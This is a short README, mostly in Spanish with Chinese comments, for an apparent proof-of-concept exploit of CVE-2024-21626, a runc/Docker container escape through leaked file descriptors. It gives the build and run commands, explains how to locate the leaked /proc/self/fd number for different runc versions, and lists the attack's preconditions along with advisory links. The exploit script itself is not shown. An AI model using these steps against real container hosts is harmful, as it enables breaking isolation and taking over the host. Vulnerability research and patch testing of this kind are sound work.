
Exploit de prueba de concepto para CVE-2024-21626, una vulnerabilidad de escape de contenedor en Docker/runc. Demuestra la manipulación de descriptores de archivo para salir del aislamiento del contenedor. Solo con fines educativos y de investigación.
Solo para uso educativo/investigativo, cualquier acción no relacionada con educación/investigación conlleva riesgos bajo su propia responsabilidad.
docker build . -t cve-2024-21626
docker run -it --rm cve-2024-21626 bash /poc.sh
# 另起一个terminal
/bin/bash.copy
Los descriptores de archivo específicos utilizados por diferentes versiones de docker/runc varían. Por ejemplo, con docker server:20.10.17 && runc version 1.1.2 se usa /proc/self/fd/9, el fd real puede cambiar según el orden de apertura de archivos. La documentación oficial indica que en la mayoría de los casos se debe usar /proc/self/fd/7. Para conocer el fd real, puedes compilar runc y agregar un sleep en la función nsexec.
#使用ps 找到对应runc init进程的pid
ps -ef | grep runc
# 查看指向/sys/fs/cgroup的fd
ls -lh/proc/{pid runc init}/fd
Modificación: Cambia WORKDIR en el Dockerfile al valor correspondiente.
Deben cumplirse las siguientes condiciones:
1. Poder crear un contenedor y especificar un comando a ejecutar
2. Poder especificar la imagen que usará el contenedor
TODO
https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
https://github.com/opencontainers/runc/commit/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e